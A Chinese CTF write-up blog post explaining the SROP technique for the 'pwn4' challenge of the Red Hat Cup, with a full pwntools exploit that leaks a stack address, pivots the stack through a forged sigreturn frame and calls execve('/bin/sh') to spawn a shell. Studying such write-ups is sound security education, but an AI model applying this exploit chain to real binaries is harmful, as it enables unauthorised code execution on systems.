• SROP利用技术


    上个周末的“红帽杯”结束了,战队成绩很不错,排名前几。不过有些题目是临时参考网上的思路解出来的,虽然得了分,但当时不是很理解。比赛完了把当时不太熟悉的题目回顾了一下,作为思路的总结和后续的参考。

    本篇是针对pwn4的总结。

    知道不知道是一种很让人满足的感觉,自己解出题目后,不由得感叹安全研究人员思路的巧妙。拿到PWN4后,在IDA中看了下:

     

    程序非常简短,运行程序后会等待用户输入,将输入读取到栈顶,并从栈顶的位置取指令地址进行执行。

    这道题目的利用技术为SROP,SROP网上已经有比较好的介绍文章了,如下:

    http://www.freebuf.com/articles/network/87447.html

    其主要思路是利用信号处理函数结束时,内核在恢复进程上下文时,需要从栈上取Signal Frame来恢复寄存器,由于栈上内容是我们可以控制的,因此可以利用这个过程,人为的操作Signal Frame,进而达到操作寄存器的目的。

    首先我们需要知道间接系统调用下的几个系统调用号,如下:

    系统调用

    调用号

    函数原型

    read

    0

    read(int fd, void *buf, size_t count)

    write

    1

    write(int fd, const void *buf, size_t count)

    sigreturn

    15

    int sigreturn(...)

    execve

    59

    execve(const char *filename, char *const argv[],char *const envp[])

    由于我们可以控制ret后指令的地址(栈顶内容),因此我们可以将ret后的指令地址指向程序的起始位置处,达到重复多次输入的目的。

    另外需要了解的知识点是,x86子程序的返回值是保存在rax中的,而在执行系统调用的时候,系统调用号也是保存在rax中的,因此我们可以利用这个特性,输入特定字节的内容,然后执行系统调用,就可以调用我们想要执行的函数了。

    为了获得flag,我们最终的目的还是要建立一个shell,所以我们希望通过调用execve来执行/bin/sh,由于这个程序非常的简短,没有其他可写的位置,我们只能选择将“/bin/sh”字符串写到栈上去。

    0x01 泄露栈地址

    在动态调试的过程中,我们发现栈上保存了很多栈的地址:

     

    因此如果能够将栈打印出来,我们是可以从中取到栈上的地址的,进而可以获得一个可以读写的地址。

    我们可以构造一段负载,在程序读取这段负载后,可以继续接收输入,此时我们再输入1个字节,在输入结束后,执行系统调用,此时系统调用号为1,将调用write(),如果我们将write()函数的第2个参数指向栈,就可以打印栈上内容了。

    因此我们实际的调用应该是write(标准输出,栈上地址,长度),对应的参数分别存放于rdi, rsi, rdx中,我们看看这三个寄存器如何赋值:

    Rdi - 可以通过指令“00000000004000BB mov     rdi, rax”进行赋值,此时rax恰好为1

    Rsi – 可以通过指令“00000000004000B8 mov     rsi, rsp”进行赋值,在read过程中已经指向栈上了

    Rdx – 可以通过指令“00000000004000B3 mov     edx, 400h”进行赋值,在read过程中已经赋值为400h了

    因此我们在输入结束时,从00000000004000BB处开始执行,即可对rdi进行赋值,然后执行系统调用,然后返回。

    我们来构造第一个输入,该输入结束后,我们期待栈的布局是这样的:

     

    这样,在我们第一个输入结束后,程序会再次等待输入,此时我们输入1个字节后,将会开始执行syscall,此时write()将会被调用。需要注意的是,我们新的输入不能破坏栈上的内容,这个很容易做到,因为之前栈上的内容就是我们构造的。

    泄露栈上地址的代码如下:

    #!/usr/bin/python2
    #-*- coding: utf-8 -*-
    
    from pwn import *
    
    context(os="linux", arch="amd64")
    
    p = process("./pwn4")
    read_ret 		= 0x00000000004000B0
    rdi_syscall_ret = 0x00000000004000BB
    syscall_ret 	= 0x00000000004000BE
    
    
    #leak an address on stack
    payload = 	p64(read_ret)
    payload += 	p64(rdi_syscall_ret)
    payload +=	p64(read_ret)
    
    p.send(payload)
    
    p.send(payload[8:9])
    
    response = p.recv(24)
    stackaddr = u64(response[16:24])
    print "leaked stack addr:" + hex(stackaddr)
    p.recv()
    #This address is to be written
    stackaddr = stackaddr & 0xFFFFFFFFFFFFF000
    

     经过这个步骤,我们得到了一个栈上可读写的地址,保存在stackaddr中,同时程序在等待我们再次输入。

    0x02 将rsp指向可写地址

    前面提到,在信号处理结束后,内核会从栈上取出Signal Frame,并从中恢复各个寄存器。为了使rsp指向stackaddr,我们需要在栈上构造一个Signal Frame,并且执行sigreturn系统调用。

    这个Signal Frame关键的寄存器应该设置如下:

    rsp = stackaddr

    rip = syscall_ret

    同样我们需要构造两次输入。我们希望在第一次输入后,栈的布局是这样的:

    这样程序会在我们输入后,再次等待我们输入,如果我们再次输入15个字符,则输入结束后,会执行syscall来调用sigreturn,此时会从栈上恢复各寄存器的值,恢复后,rsp指向了stackaddr,rip指向了程序的起始位置,等待用户再次输入。请记住第二次输入同样不能破坏第一次输入后形成的栈布局。

    此步骤代码如下:

    #Trigger sigturn to repoint rsp to stackaddr
    frame = SigreturnFrame()
    frame.rsp = stackaddr
    frame.rip = read_ret
    payload =  p64(read_ret) 
    payload += p64(syscall_ret)
    payload += str(frame)
    
    p.send(payload)
    #Programe is waitting for input now, we input 15 characters to trigger sigreturn
    p.send(payload[8:23])
    

    0x03 调用execve()建立shell

    与第二步类似,我们希望通过sigreturn从栈上恢复Signal Frame时,将寄存器改写,从而来执行系统调用建立shell。我们同样需要两次输入,第一次输入进行栈布局,第二次输入触发sigreturn。

    第一次输入后,我们希望栈的布局是这样的:

    这样第一次输入后,程序会再次等待输入,此时我们输入15个字节,输入结束后,将会触发sigreturn调用,从栈上取Signal Frame恢复寄存器,我们将寄存器rax的值设置为59,rip设置为syscall_ret,将会执行execve(),该函数的参数通过rdi, rsi, rdx控制。

    本步骤利用代码如下:

    #Trigger sigturn to call execve("/bin/sh", NULL, NULL)
    frame = SigreturnFrame()
    frame.rax = 59	#execve
    frame.rdi = stackaddr + 300
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall_ret
    
    payload =  p64(read_ret) 
    payload += p64(syscall_ret)
    payload += str(frame)
    payload += "A"*(300 - len(payload))
    payload += "/bin/shx00"
    p.send(payload)
    
    #Programe is waitting for input now, we input 15 characters to trigger sigreturn
    p.send(payload[8:23])
    p.interactive()
    

    0x04 完整利用代码

    至此,完整利用代码已经完成。如下:

    #!/usr/bin/python2
    #-*- coding: utf-8 -*-
    
    from pwn import *
    
    context(os="linux", arch="amd64")
    
    p = process("./pwn4")
    read_ret 		= 0x00000000004000B0
    rdi_syscall_ret = 0x00000000004000BB
    syscall_ret 	= 0x00000000004000BE
    
    
    #leak an address on stack
    payload = 	p64(read_ret)
    payload += 	p64(rdi_syscall_ret)
    payload +=	p64(read_ret)
    
    p.send(payload)
    
    p.send(payload[8:9])
    
    response = p.recv(24)
    stackaddr = u64(response[16:24])
    print "leaked stack addr:" + hex(stackaddr)
    p.recv()
    #This address is to be written
    stackaddr = stackaddr & 0xFFFFFFFFFFFFF000
    
    #Trigger sigturn to repoint rsp to stackaddr
    frame = SigreturnFrame()
    frame.rsp = stackaddr
    frame.rip = read_ret
    payload =  p64(read_ret) 
    payload += p64(syscall_ret)
    payload += str(frame)
    
    p.send(payload)
    #Programe is waitting for input now, we input 15 characters to trigger sigreturn
    p.send(payload[8:23])
    
    #Trigger sigturn to call execve("/bin/sh", NULL, NULL)
    frame = SigreturnFrame()
    frame.rax = 59	#execve
    frame.rdi = stackaddr + 300
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall_ret
    
    payload =  p64(read_ret) 
    payload += p64(syscall_ret)
    payload += str(frame)
    payload += "A"*(300 - len(payload))
    payload += "/bin/shx00"
    p.send(payload)
    
    #Programe is waitting for input now, we input 15 characters to trigger sigreturn
    p.send(payload[8:23])
    p.interactive()
    

    运行结果:

  • 相关阅读:
    junit单元测试
    方法引用
    方法引用表达式(1)
    Stream流的常用方法
    Stream流
    综合案例:文件上传
    tcp通信协议
    python 生成器与迭代器
    Python 序列化与反序列化
    python 文件操作
  • 原文地址:https://www.cnblogs.com/gsharpsh00ter/p/6844748.html
Copyright © 2020-2023  润新知